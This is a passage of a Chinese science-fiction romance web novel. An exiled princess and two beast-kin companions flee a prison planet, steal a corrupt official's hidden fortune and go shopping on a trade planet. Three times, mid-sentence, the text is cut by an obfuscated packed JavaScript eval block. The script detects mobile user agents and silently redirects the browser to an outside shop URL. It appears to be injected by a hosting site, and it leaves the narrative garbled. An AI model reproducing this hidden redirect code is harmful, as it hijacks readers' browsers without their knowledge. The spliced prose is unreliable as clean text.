那人说:“谁管你?傻逼。” · 白纶关上舱门,透过舷窗望着下方的星球,表情怔忪。 地面从水平逐渐向下弯曲,随着最后一次强烈的颠簸,飞船冲出了荒狱星的引力范围,周围陡然安静下来,他的故土在他视线中化为一颗不起眼的灰色圆球。 放眼四顾俱是浓墨般的黑,只有这颗灰色的行星因为人工改造了大气和光源,闪着微弱的光茫。 那颗星球是他出生的地方,是他从未踏离过的土地,而如今,它却在他的脚下变得越来越小。 庇护所角落那一对獒尼族母子的简笔画依旧静静地留在原地,见证着小狼走出母亲的怀抱,走出庇护所,到如今,走出这颗星球。 这里是宇宙的边际,四周是浓得化不开的黑幕,而那颗小小的、灰不溜秋的星球,也随着飞船的远去,在他一蓝一灰的异色瞳孔中,被黑暗吞噬。 他失去了他的家。 他也有了新的家。 短暂的失重后,飞船内的模拟重力自行开启,白纶的脚再次稳稳地踏在了飞船地面上。 就这么……出来了? 比起激动与喜悦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242899|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这片飘渺无边的黑色包裹下,充斥在白纶心头更多的,是没有实感的茫然。 他垂下眼睑,耳朵忽然一动,听到身后传来推攘的声音。 顺着声音回到驾驶舱,正好看到籍允离开驾驶座椅,凑过去扒栗胤的黑袍。 “你干什么?”白纶脸色一变就要冲过去阻拦。 籍允面色阴沉:“她受伤了。” 闻言,白纶心头一跳,也加入了扒栗胤衣服的行列。 “我没事。”栗胤笑着按住自己的衣袍,“这么热情,想要替我暖床,还是等飞行更稳定一些再说吧。” 她用了“暖床”这个词,两个男性脸上均是一烫。 也确实没到可以安心下来休息的时候。皮特曼一行人身上大概率带着通信设备,即便荒狱星的信号再不稳定,他们肯定也有联系到救援的那天。 就算没有救援前往荒狱星救人,他们也会知道皮特曼这艘商船上乘坐的,是三个越狱的囚犯。 他们必须要立刻进行跃迁跳跃,避免飞船被追踪定位。 栗胤正在调试这艘船的跃迁模式,籍允也需要紧锣密鼓摘掉飞船的定位装置,开启单向信号屏蔽。 白纶透过驾驶舱的玻璃,看到飞船投射出的光线在逐渐向后弯曲,化作一道道流体的线条在舰艇四周铺散开来。 仪表盘上的数字以肉眼可见的速度迅速攀升。 “白纶,坐下系好安全带。”栗胤将手握在推杆上,“要开启跃迁模式了。” 前方的光线越来越明亮,撕扯开一片扭曲的空间。 因他们身旁没有参照的星球,白纶甚至没有察觉到,飞船现在正以他从未想象过的速度,一头扎入这片扭曲之中。 在几乎让脑袋眩晕的强光和身体仿若被挤压进极窄的管道的压迫感后,眼前骤然开朗,白纶看到他们舰艇四周的宇宙,不再是一望无际的黑暗。 恒星的光茫照亮了星空。 他们从宇宙边际,返回到了真正的星海之中。 神秘,浩瀚,充满着无限的未知。 银狼一眨不眨地看着舷窗外,几乎要看呆了。 跃迁的距离以百万光年计,基本上一次跃迁过后,在茫茫宇宙中想要追踪到这艘飞船,已经跟在海里找一枚针一样困难了。 但为了保守起见,栗胤又进行了第二次跃迁。 短时间内两次跃迁带来的身体负荷,让从未坐过飞船的白纶差点吐出来。 飞船的外壳闪着暗红的光茫,那是温度过高的表现。降温系统高速运转着,飞船内部充斥着响亮的机器轰鸣声。 在下一次落地维修保养之前,这艘商船也无法再承受第三次的跃迁了。 操作面板处响起成功开启的系统音,小黑彻底接管了这艘飞船。通过飞船搭载的信号基站,籍允的人工智能终于得以再次与世界接轨,庞大的数据注入其中,在短短几秒内,它完成了数次自我迭代,小黑蛇欢快地在飞船巨大的主控屏幕中游淌。 籍允揉了揉因长时间敲击键盘而有些酸胀的手指,靠在椅背上呼了口气。 单向信号屏蔽已打开。 他们的这艘飞船等于是从此从所有雷达探测中隐形了。 自此,再也不用担心会被定位和追上。 他们终于可以缓一口气。 “我们……成功了吗?”白纶不确定地问道。 “成功了!”栗胤宣布。 他们正式摆脱了那颗作为监狱的行星! 笑容后知后觉地蔓延到白纶脸上,还没等他说点什么,在那对骤然收缩的异色瞳孔中,紧绷的弦终于放松下来的栗胤,就这样昏了过去。 · 驾驶舱控制面板上的时间嘀嗒前行着,最末的数字从59跳到了00,此时是系统历3299年5月15日03时19分00秒。 距离栗胤第一次踏上荒狱星的土地,过了九个系统月。 距离栗胤被剥夺公主身份,踏上流放之旅,过了一整个系统年。 (荒狱星篇完) 13. 第十三章 休整 栗胤睁开眼,看到自己正戴着氧气面罩,浸泡在淡绿色的液体中。 她很快意识到,自己正躺在一处修复舱中。 淡绿的修复液带着恰到好处的暖意,让她浑身都处在暖洋洋的舒适中,原本刺骨的疼痛已经消失不见,身体又回到了最有活力的状态。 她从修复舱中坐起,四顾一番,看到一处开着的门内贴着洁白的瓷砖。 那里是浴室。 浴室! 她在荒狱星九个月都没有好好洗个澡,几乎要忘记沐浴是什么感受了! 不愧是商贾的船,内饰颇为豪华,淋浴设备都很先进,甚至还配备了带着按摩功能的浴缸。 只可惜前任主人身为男性,对沐浴和护肤用品的选择比较单一,甚至泡沫机里的净肤耗材用的还是24合一的灌装。 一年前的栗胤是断然不会用这种不知道融合了多少科技狠活的复合产品,如今却骤然有种原始人返回现代社会的感慨。 有总比没有强。 等靠岸星球落地补给了就把飞船里的东西通通换掉。 栗胤在放满水的浴缸中放松地舒了口气,不觉手心有些发痒,颇有些饱暖思淫欲的感觉。 一会儿是先撸狼尾巴好呢,还是先撸蛇尾巴好? 出了浴缸随手找了件浴袍披上,栗胤趿着柔软舒适的拖鞋走出浴室,前去寻找自己的同伴。 白纶和籍允在餐舱中。黑蛇操纵料理机做了食物出来,银狼正对着餐盘中的肉排,思考着如何下嘴。 听到脚步声靠近,白纶抬起头,摇晃着尾巴开口:“栗胤,你醒——” 他的声音戛然而止,眼睛直直地看着栗胤,一张脸慢慢地红了。 刚泡完澡的女孩白皙的肌肤中透着粉,那头短发没有干透,水珠顺着线条优美的脖颈没入她没有好好穿的浴袍之中。 白纶知道她漂亮,但他也只见过栗胤和他一样穿着脏兮兮的衣服、好久不洗澡的样子,他不知道刚出浴的栗胤,会有这般诱人。 贫瘠的荒狱星利用分子重组转化的水资源远远不到能用来泡澡挥霍的地步。沙漠里固然能开出花,但只有真正温暖湿润的环境,才能孕育出最饱满鲜艳的植株。 热气蒸腾放松后的栗胤金眸流光,红唇贝齿。好闻的淡香霸道地往鼻子里钻,不是24合一净肤液的味道,是洗去了尘污后属于她身体里的味道,独属于栗胤的味道。 他曾听闻过关于女性的一切美好形容,都集中到了她的身上。 就连籍允也看呆了一瞬,才恢复寻常模样。 “我睡了多久?”栗胤问。 她的声音带着惬意放松,听着比在荒狱星上时更柔软一些。 “快两天了。”籍允说。 这两天,籍允关了商船的推进器,任其在宇宙中漫无目的地飘行,等待栗胤的醒来。 “牛排!”栗胤看到餐桌上的食物,一双眼睛都亮了,“有我的份吗?” “稍等。”籍允放下手中的刀叉,走到料理机旁按了两下。 白纶将自己面前的盘子往栗胤的方向推去:“我还没动过,你可以先吃这份。” “太好了!”栗胤拉开白纶身边的椅子坐下,熟练地用餐具将牛排切成易入口的小块送入口中,“啊……是合成肉。” 籍允说:“毕竟是长途星际旅行用的商船,只有合成肉才不容易变质。” “已经比营养液强了不知道多少了。”栗胤咽下口中的食物,满足地眯起了眼。 她喜欢品尝美食?籍允不动声色地开口:“等飞船靠岸后,我去采购一批新鲜食材。” “有食材也不会做,合成料理也能凑合。” “我略懂一些。”籍允望着她,“我来做。” 栗胤一顿。她深谙男女之情,敏锐地察觉到黑蛇目光中热度的变化。但她没说什么,弯起眼睛:“那我可要好好期待了。” 许久未坐到餐桌前好好地吃一顿饭,她的进食姿态却从容优雅。 这是皇室从小培养,带入骨子里的礼仪。 看着栗胤进餐的样子,白纶忽然觉得那盘让自己不知如何下嘴的食物,变得名贵美味了起来。 他的喉结动了一下。 “白纶,你是不是没有吃过营养液以外的食物?”栗胤注意到银狼的拘谨,开口问他。 面对敌人能够毫不犹豫扣下扳机的狠戾银狼,在餐桌上,却露出了前所未有的局促。 他点点头。 栗胤好奇:“我睡了两天,这两天你都没吃这些食物吗?” 籍允替他说道:“他喝了两瓶营养液。” 白纶有些恼地瞪了籍允一眼。 栗胤笑了:“你都没教他怎么用餐具吧。” 料理机发出制作完成的“叮”声,籍允接过餐盘放到白纶面前,又回到自己的位置坐下:“他长着眼睛。” 言外之意,他看过他进餐,就理所应当知道餐具的用法。 栗胤听到“咔”的一声,金属做的餐刀在白纶手中被掰成两截。 为什么莫名有火药味? 她吸吸鼻子,用叉子插起自己切好的一块肉排放到白纶眼前,勾唇道:“白纶,你尝一口。保证比营养液好吃。” 方才还眼中冒着火苗的银狼一瞬间不知所措起来。 栗胤在……喂自己吃东西? 莫名地,他有些不好意思。 白纶忍着耳畔腾起的热度,做了好一会儿心理建设,才张开薄唇,脑袋微微往栗胤的方向凑去。 一条黑色光滑的尾巴忽然从餐桌那头探过来,绕住女孩纤细的手腕,将举着叉子的手往对面带去。 佘鳞族张口咬住叉子上的肉块,在口中仔细咀嚼,咽下去后说道:“这个味道的合成肉,我好久没尝过了。” “是吗……”栗胤眨了眨眼,“你盘子里的味道是不一样的?” “嗯,不一样。”籍允露出标志性的得体微笑,“似乎你那一盘更美味一些。” 身旁传来“啪”的一声,白纶重重地将餐具拍到桌上站起身,尾巴上的毛竖起炸开,声音阴沉地开口:“籍允,我们来打一架。” 籍允摇摇头,姿态优雅地切着盘里的合成肉块:“食不言,寝不语。” 眼看着银狼就要暴走了,栗胤拉住他,把他重新按回椅子里,笑着说:“白纶,我教你用刀叉吧。” 她握住白纶的手,带着他将刀叉拿在手中。 在她的手覆上银狼手背那一刻,对方什么声音都没了,只余下尾巴在椅子后面不断地晃动。 “通常就是这样右手拿刀、左手拿叉,食指抵在上部背侧。在某些场合,还要注意手肘的角度、刀叉使用时也不能发出声音。”她握着白纶的手带他切下一块肉排后,又笑着说,“不过那些麻烦的规矩,在这里不遵守也没关系。” “嗯……嗯。”白纶红着耳尖,将手中的肉块放入了嘴里。 慢慢地,他的眼睛亮了起来。 “好吃吧。”栗胤莞尔,“宇宙那么广阔,还有很多更美味的食物,我们一起去尝吧?” 白纶忙不迭开口:“好!” 栗胤扑哧笑道:“先从咽下食物再说话开始。” “……——好!” 尽管是合成肉,三人还是将面前的食物解决得干干净净。 将餐盘放入洗碗机中,栗胤又在餐舱中找到了储酒柜。 果然有酒! 都逃出来了,作为庆祝,就让她在星海里放纵一天吧! 她忽然想起了什么,问道:“白纶,你今年几岁?” 白纶想了想:“十七岁……很快就十八了。” 栗胤闻言将其中一个杯子放回了柜中,“你还没成年,那就我和籍允喝吧。” “什么?我要喝!”白纶从椅子上蹦起来,夺过栗胤手中的杯子,将里头的红色液体倒入口中。 他的脸皱成一团:“哕。” 栗胤哈哈大笑。 “船上肯定有娱乐室吧?”饱暖思淫欲,栗胤握着酒杯正要推门寻找,中厅的全息投影装置就自动投射出了整个飞船的全息地图。 “您寻找的娱乐室在餐厅左手边第三扇门,已经为您高亮了路线。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242900|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着微微电流音的少年声线响起,一条卡通黑蛇从屏幕里向她致意。 栗胤听出了小黑的不一样:“它好像比之前更灵动了。” 籍允点头:“联网后的每一秒,小黑都在学习和进化。” 栗胤笑着向黑色小蛇道谢:“谢谢你,小黑。” 小蛇向她回以微笑的表情。 皮特曼是懂享受的人,他的商船上除了奢华的装饰、名贵的藏酒,也有专门的娱乐室,里面储存着虹河系最热门和经典的上千部影视作品。 这个房间的权限原本只对船长开放,但在小黑的入侵操作下,这艘飞船对他们再也没有任何禁制。 栗胤挑了一部片子,调暗了灯光和白纶籍允二人一同观看。 手边是盛了美酒的玻璃杯,身下是舒适的沙发坐垫,栗胤仿佛有种回到流放之前的贵族生活的错觉。 一条冰凉的触感挤进了自己随意搭在沙发的手心下方。 是黑蛇的尾巴。 栗胤转头看去,沙发另一端的籍允正专注地看着眼前的屏幕,眸光在屏幕画面的变换中盈盈闪烁。 是同样在喝酒的关系吗,他的眼角浮着诱人的绯红。 她握住蛇尾,手指熟练地找到尾部基底的囊状腺体,在那周围打着圈滑弄,力道由浅至深慢慢加重。 腺体逸出淡淡的奇妙气息,籍允换了坐姿,将一条腿叠到另一条上方,一手抵在嘴唇前方,身体微微地发起抖来。 大腿忽然一重,多出一个银色的脑袋搁在上头。一对异色的眸子带着异样的湿润,自下往上抬头看着她。 栗胤心有所感地往酒杯看去,发现那里竟空空如也。 白纶居然喝了她的杯子! 栗胤又好气又好笑,惩罚性地用力捏了把银狼尖尖的耳朵。 “啊……”白纶的呼吸凌乱,眼角泛着水光,却依旧固执地趴在与沙发齐平的高度不肯动弹。 拖鞋落到地毯上,不自主晃动着的蓬松尾巴旁边。 昏暗的娱乐室内,耳边的呼吸声逐渐盖过了电影的背景音。 一夜过去,栗胤一行休息够了,开始讨论下一站的目的地。 “我最终肯定是要回天鹰系的,你们呢?”栗胤问道。 白纶说:“你去哪里,我就去哪里。” 籍允微微一笑:“任凭差遣,公主殿下。” 有这么好无条件支持自己的同伴。栗胤也笑了:“谢谢你们。” 即便最终目的地定在天鹰系,却不意味着栗胤现在回去,就能向弟弟栗禝——现任库尔维耶皇帝复仇,夺回属于她的一切。 栗胤公主这个名号,在天鹰系早已成为丑闻的代名词。 除了这艘船和两个伙伴,她一无所有。 她曾数次复盘过自己输给栗禝的关键,最大的原因,还是没有将军权握在自己手中。 手握利刃,在绝对的实力面前,黑的也能说成白的。 这一次,她要组建一支属于自己的舰队。 她打开飞船上的智脑终端,上星网一目十行地浏览她脱节了近一年的新闻。 讨论最热闹的,还是天鹰星系新任库尔维耶皇帝开展的暴政,武力镇压的场景比比皆是,看着那些惨烈的现场照片,栗胤的脸色不太好看。 要快一点、再快一点提升自己的力量。不能让天鹰星系变成一个让她都觉得陌生的地方。 “决定了,下一站的坐标。” 她招呼其他二人过来,打开三维立体星图,纤指指向其中一个星系坐标,“我们去澳绔星系。” 籍允看着新闻页面,说道:“澳绔系内部的战争已经快二十年了,到现在都还没有结束。” “正因为有战争,我们才要去那里。”栗胤嘴角微勾,“越混乱的地方,才有越大的机遇。” 籍允专注地看了会儿栗胤此刻的模样。 神采飞扬的栗胤,让他无法移开目光。 接着,他依言走到驾驶舱,在面板中输入了方才栗胤所指的坐标。 “那么,启航。”他说。 “目的地,澳绔星系。” 14. 第十四章 资金 要壮大舰队的第一步,还是得先拥有启动资金。 飞船也得改造。 这艘商船是二十个警卫、两个侍从和一个船长的配置,补给对他们三个人来说绰绰有余,但它自身那点防御系统,要对上任何一艘军用舰艇,都是以卵击石的份。 最保险的是先给飞船加一层隐身涂层,再安装一套攻击系统。 与此同时,还要招募更多的船员。 在说到筹集资金时,栗胤眼巴巴地望向籍允。 在她面前的,可是虹河系的传奇星际大盗,经他之手的名贵财产数不胜数。当他被捕后,警方在他的飞船上找到的财物总价值换算过来,还不及他取走的千分之一。 因此官方推论,籍允有不止一个财产的藏匿点。 籍允无奈地笑笑。 他做大盗时的财产都交由兔子打理,那些价值连城的名贵珍藏又随着兔子的消失而消失在宇宙的角落,他根本没有栗胤想的那么富有。 不过,搞钱对籍允来说确实不算难事。 他想了想:“当时我在澳绔星系中,好像在一个星球上丢过一些不怎么样的宝石。” 经星际大盗之手的宝石意味着什么? 他口中的次等货依旧是虹河系数一数二的富商们费尽心思收集而来,做好了充足的安保措施保护,却仍被他得手的高级藏品。 在大盗名声最盛的那几年,还有富商假意宣称自己的藏品曾经由大盗转卖而得,或是曾上过大盗的目标名单,获得十足的噱头与眼球,以此牟利。 栗胤的眼睛亮了亮:“还记得这个星球的坐标吗?” 籍允旋转着眼前的立体星图,又打开掌上智脑一番操作,三维立体星图上的星球数量随着他的选择而一颗颗减少,最终只剩下一颗。 “就是这儿,AKW-320。”他说着,语调意外地扬起,“嗯?” “怎么了?” “有人在这儿盖了房子。”他说,“我当时特意挑了未进行文明定级的荒芜星球,就是不希望被人打扰。” AKW-320原本是没有人类痕迹的未定级文明星球,没想到过了不到四个系统年,它在星图上的模样就变了个彻底。 他扬眉好奇地入侵了这颗星球的信息库,检索到了所有者是澳绔星系的一个高官。 顺藤摸瓜地,他找到了这个高官隐藏账户中的存款。 他的嘴角露出惯有的哂意:“三年内进账一百亿信诺币……” 按照澳绔星系的平均薪资标准,这个位置的高官一年最多也只可能赚取几十万。 一百亿信诺币的进账,除了找到籍允落在这颗星球上的宝石之外,必定还包含了无数的黑色交易、贪污受贿、尸位素餐。 栗胤笑了。 “那我们就去这颗星球,把不该属于他的东西从他账上抹掉。” 两个系统月后。 商船一路北上,经过漫长的星际航行,终于抵达了澳绔星系,隐蔽地降落在星图坐标AKW-320行星的夜半球,一块渺无人烟的荒地中央。 宇宙本没有东南西北的说法,这里的北上,是天鹰星系当年进行星际殖民时所制作的虹河系空间地图呈现出来的概念。 大部分星际飞船上的导航系统,也是按照这套地图,配合天鹰殖民舰队播撒了几乎整个虹河系的脉冲信号星塔,才能准确定位,不至于迷失在茫茫宇宙中。 星球的文明等级也是天鹰殖民舰队——又称为宇宙文明考察舰队创立的。用最简明易懂的语言描述的话,一级文明星球的科技足以将荒星改造成宜居星球;二级文明星球可以进行跨星际航行;三级文明星球能进行星系内部的航行;四级文明星球能进行星球内部的航行;五级文明星球是没有热武器存在的星球;剩余那些无人类文明迹象的荒星,就是未定级文明星球。 天鹰星系和禺泯星系的首都星是一级文明星球,外围圈的行星大多是二级文明星球。到了澳绔星系上的行星,除了两颗首都星是二级文明星球,其余多是三级四级文明,甚至有更多五级文明的土著行星和基本没有人类居住痕迹、未开化的荒芜星球。 短短三年内,AKW-320从一颗五级文明星球被改造为私人所有的定制星球。 好处是,因为人工装了大气改造系统,不需要再配备氧气补给设备便能在星球表面行走。 买下无人的荒芜星球改造成自己的后花园,在近几年的富豪圈子里是一件比较时髦的事。 也有的,便是像这位高官一样,无意中在星球上找到价值连城的珍宝,便买下星球的所属权,将它作为最隐蔽的天然藏金库。 AKW-320的直径比荒狱星还要小一些,步行一天就能绕星球一圈。大部分的地表维持着天然裸露的状态,加装大气设备后又人工种植了整齐的植被,星球上唯一的建筑格外显眼。 星球的主人自然考虑到了安保措施,针对星球的大气层设立了监控岗哨,能够识别所有来自外宇宙进入星球大气的物体并发出警告信号。 但这个监控岗哨,在栗胤一行的飞船刚靠近星球时,就被籍允轻巧地破解了。 监控屏中一片平静,完全没有飞船降落的身影。 “那么……我去去就来。” 籍允一身黑色紧身衣,长而光滑的蛇尾旋在腰上。他将重新恢复信号的便携智脑戴在手腕上,推了推鼻梁上的眼镜,即将迈出飞船时,脚步莫名迟滞了一步。 “怎么了?”身后传来栗胤的询问。 “……没事。”籍允说。 这是星际大盗时隔多少年的多人行动? 理智上,他很清楚目前阶段,自己对栗胤来说是必须的,她不会丢下他离开。 但心中总有一个声音在对他说,等他从高官的别墅回来后,栗胤他们就不会在原地了。 和那次一样,在无边的空旷中,只余他一个人。 “没事就走吧,等你带路呢。” 女孩的声音靠近了,从身后来到了他的耳边。 籍允诧异转头,他看到栗胤穿上了同他一样便于隐匿身形的夜行衣,正好奇地看着他。 “你……”他确认道,“你要和我一起去?” “当然了!”栗胤理所当然开口,“既然是我们共同的启动资金,怎么有让你一个人去冒险的道理?” “况且,要是遇到危险的话,两个人也能有个照应。我能保护你啊。” 白纶双手抱臂靠在舱门边,不满道:“为什么不让我也跟去?” 栗胤摸了把他的脑袋:“你守飞船,我们的后援就全靠你了。” 这艘商用飞船可是他们目前的全部身家,容不得半点闪失。 在飞往澳绔星系的这两个月内,白纶已经学会了飞船的驾驶,紧急时刻也能手动操纵飞船起飞。 但这一次行动,白纶要做的就是防止任何人进入或者破坏飞船,直至栗胤他们归来。 “哼……好吧。”银狼垂下头,甩了甩尾巴。 籍允的眸光微闪。 ——那只兔子,从未提过和他一起潜入的事。 “我不行啦,会拖你后腿。”他总是这样说。 而如今却有一个智人的女孩站在他身边,开口说要保护他。 籍允觉得好笑地摇摇头,再度望向栗胤时,眼神是一如既往的专注:“跟我来。” 和传奇的星际大盗一同走在路上,栗胤看籍允做的一切都觉得新奇。 “锁”这个字对籍允来说,几乎是不存在的。入目看到的所有车辆,都能轻易成为他的代步工具。 这一趟潜入,比栗胤想象得还要来得简单和平淡。 除了大气监控岗哨外,这个高官的别墅根本没有配备安保人员,全靠一套独立运作的防御系统,守着地下暗室的大笔财产。 而这套高价打造的系统在籍允面前的威慑力,比三岁小孩还不如。 仔细一想,栗胤就明白过来:“他肯定不能让别人知道他贪了这么多,所以他不能大张旗鼓地派安保人员守在别墅里,只能用电子系统看管。” 籍允点点头,嘴角嘲弄地勾起:“就算我们把这些财产拿走,他也不敢报警或追究。” 栗胤忽然炯炯有神地盯着籍允看。 “怎么了?”籍允对她回以微笑。 “在新闻中,星际大盗出手就是高难度的大型案件。但其实这些不被报道、当事人忍气吞声的事,你肯定做得更多。”栗胤咂舌,“你到底多有钱,不会赶超皇室了吧?” 籍允摇了摇头,镜片后的红眸中温柔地映着女孩的身影。 “我现在所拥有的一切,都在你面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242901|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前。” · 飞船驶离孤独僻静的AKW-320,小心地避开战争圈,降落在澳绔星系偏外围的一颗三级文明星球上。 白纶第一次真正意义上来到现代文明社会的土地,四处张望了好半晌才迈出离开飞船的第一步。 鳞次栉比的街道和纷繁无序的行人,大量的信息和气味差点将他淹没。 一只柔软的手无声地钻入他的掌心,握住了他带着些潮气的手。它娇小纤细,稍一用力就能印上红痕。却也是这样的一只手,能精准地找到他的弱点,让他在她手下溃不成军;也能在这个时候有力地支撑住他。 鼻尖传来淡淡的、永远闻不厌的馨香,好似在迅疾的洋流中有了固定的锚点。 尾巴止不住地晃。白纶迈腿跟上栗胤的步伐。 栗胤在看头顶的天空。 即便在夜幕里,这颗星球的夜空也时常亮起烟花般的光芒,宛如遥远星空中的超新星爆发。 这是战争的粒子光,它们比超新星近得多,甚至不知道什么时候,这束光就会落到这颗星球之上。 对此,这颗星球上的居民没有任何办法,只能祈祷这一天来得再晚一些,祈祷战争早点结束。 在降落前,籍允通过小黑进入澳绔星系的人口管理局系统,给他们三个各自建立了澳绔星系户口的新身份。有了身份,就可以建立星际银行的储蓄账户,存入属于自己的合法财产,在虹河系任何联网星球刷卡使用。 也就是这个常年战争不断的星系里通过挂靠低文明等级的星球,在人口管理局的系统里增加三个新身份比较容易了。 要是想上天鹰星系或者禺泯星系的户口,需要经过重重手续关卡,光申请文件都要准备厚厚一沓,还要排队摇号,可比澳绔星系繁琐得多。 证件照上,栗胤戴上黑色美瞳,掩盖住那对皇室特有的金色瞳孔,又在脸上用化妆品涂涂改改,把那张绝色的脸整得平平无奇,化名为“梨音小姐”。 两个系统月的星际航行,她在荒狱星随意剪短的头发又被她养长了,重新精心打理起来,黑缎般柔顺地披在肩头。 籍允用了“戟云”这个化名,对外的身份是“梨音小姐”的管家。 倒是白纶不需要改名,因为他就没有在任何户口系统中有过记录。 “你就做梨音的警卫吧!”栗胤对他说。 “好啊。”和栗胤扯上关系的身份,不管是什么,白纶都不会拒绝。 首先在星球的集市完成典当清算。一趟AKW-320之行,让栗胤一行手中多了三十亿信诺币。 倒是想把那一百亿赃款都弄过来,但狡兔还懂得三窟,这么一个高官,也不会把所有财产都放到同一颗星球里。 便宜他了,栗胤想,下次还可以继续逮着他薅羊毛。 那个高官也不会大张旗鼓地报警声称自己来路不明的财产被盗,只能忍气吞声。 甚至只要他不前往AKW-320这颗常年冷清的行星,都不会发现里头财产的不翼而飞。 钱包鼓鼓,三人放慢脚步行走在这颗三级文明星球的街道上。 同一个文明级别的星球也有繁华与落寞之分,这颗星球毫无疑问是属于繁华的那一类。 她和只有代号的私人行星AKW-320不一样,拥有官方登记在虹河系星图上的名字,叫做悠游星。 悠游星的繁华并非来自于星球上的原住民,是因其地处星际航线要道,来自各个星系的人在这里休憩、停留、补给,将她变为了如今的样貌。在这颗星球上往来的人种繁杂熙攘,各种势力穿插其中。货品种类也十分丰富,涵盖了生活用品到星际旅行的各种零配件,包罗万象,甚至还有一个在澳绔星系数一数二的星际拍卖场。 是很适合作为刚越狱的栗胤一行落脚补给的第一站。 栗胤感慨,还是现代社会方便,有钱就能买到想要的东西。不像在荒狱星,根本没有改头换面的物品,只能靠那身不方便的黑袍遮掩外貌。商船上也只有原本的船长皮特曼尺码的衣服,要不就是款式统一的安保和工作人员制服。 终于有机会采购属于他们自己的东西。 将资金平分,每个人十亿信诺币。 下一步,便是用这些钱去采购物资。 商场!购物!真是久违了! 15. 第十五章 拍卖 悠游星的星球表面遍布着十余座高大如山的塔,那其实是接收星际信号的基站,用来给往来的飞船指引方向。 城市也以这几座塔为中心往外辐射,建立起高大的楼层,越往城市外围建筑的高度变越低。 星球本身的科技水平并不高,完全是被来来往往接驳停靠的各色飞船的外来者们硬拉起来的,这使得她的星球风貌呈现出明显的断节。 城市中心高架错落,一辆辆悬浮车沿着既定路线飞快驶过。 而城市外围的区域,只有零零落落的砖房村落,刷着最朴素的白漆。有些漆面因老旧而脱落,露出里面黄澄澄的砖坯。 村落里的年轻人几乎都往基站城跑,享受着城市的便捷与富庶,只留下老人们守着落后的、交通不便的老宅。 栗胤将抬头看呆了的白纶往一旁拉了拉,防止他被驶来的悬浮车撞到,心中盘算着必需品的采购列表。 首先要准备人手一台的便携智脑。功能和籍允在荒狱星的掌上智脑差不多,但体积更小巧,有联网功能自不必说,可以佩戴在手腕上,抬起手腕时全息屏就会在面前展开,内置各式各样的应用程序,能够远程语音和视频。 在32世纪的虹河系,这已经是所有人必不可缺的设备了。 还需要给白纶配置一套内置耳膜的实时翻译器。 尽管白纶熟悉的天鹰语是虹河系官方语言,七大星系依旧有着各自惯用的地方语言。使用天鹰语的白纶不至于在陌生的星系中无法和别人交流,但能听懂当地的语言会更便捷可靠。 至于文字方面要方便一些,透过便携智脑的镜头就可以实时转换。 栗胤不需要翻译器,严格的皇室教育里涵盖了精通掌握七大星系语言的课程,她成绩斐然,甚至能够模仿其他星系的地方口音。 籍允作为天鹰星系首富的私生子、不受宠的贵族小少爷,也被逼着掌握了好些技能,语言就是其中之一。 白纶有些不服气:“给我一点时间,我也能把翻译器摘掉。” 他也确实是学习能力最强的那个,这一路上,为了摆脱荒星囚犯的影子,他被栗胤按着脑袋补了一大堆现代社会的知识。 他记忆的速度快到令栗胤都感到心惊。 因为要买的东西太多,又有了便携智脑能随时联系,他们决定分头行动。 栗胤去了拍卖场。 这里刚好就有一个系统月一度的大型星际拍卖。 她在查阅这一场的拍卖手册时,看中了其中一套旧式机甲。 在学校时,她是历届中最优秀的机甲驾驶员。 机甲能在宇宙中飞行,进可攻退可守,要是有一台机甲,他们一行人的战力也会有显著的提高。 在宇宙的飞船与飞船之间,机甲也能充当接驳船的作用。 十八岁那年,库尔维耶皇帝送给栗胤公主的成人礼物,就是一台专属机甲,星耀-SR。 回忆起父亲,栗胤沉默了片刻,垂眸控制住自己的情绪。 那台机甲也成为了栗稷的战利品之一。 成王败寇,没什么不能认的,一点点再次夺回来就行。 她将注意力再次放回拍卖会本身。 遗憾的是澳绔星系的科技力相对落后,在栗胤眼里,这个型号的机甲早已是天鹰星系中淘汰的旧款,对澳绔星系的人来说,却还是属于非常先进厉害的武器,价格炒到了天价。 以栗胤现有的资产,也不知道能坚持到第几轮的竞价。 因机甲是这场拍卖会的压轴,栗胤只能耐着性子等待前面物品的竞拍结束。 倒也让她看到不少有意思的商品。 比如赦生制药集团的特效增强剂,服用后可以短时间内显著增强兽性力量。考虑到它不过是一次性的药剂,也有潜在的损伤身体的可能,栗胤便不做考虑。 一套指纹绑定的金属软甲,解锁时是柔软贴身的状态,用指纹激活后便会坚硬如玄铁,能抵挡三级粒子枪的攻击。平时穿着不会有负担,又能迅速进入战斗状态。栗胤有一瞬间的心动,但为了让自己在最后的竞拍中有更大的优势,她忍住了没有竞拍。 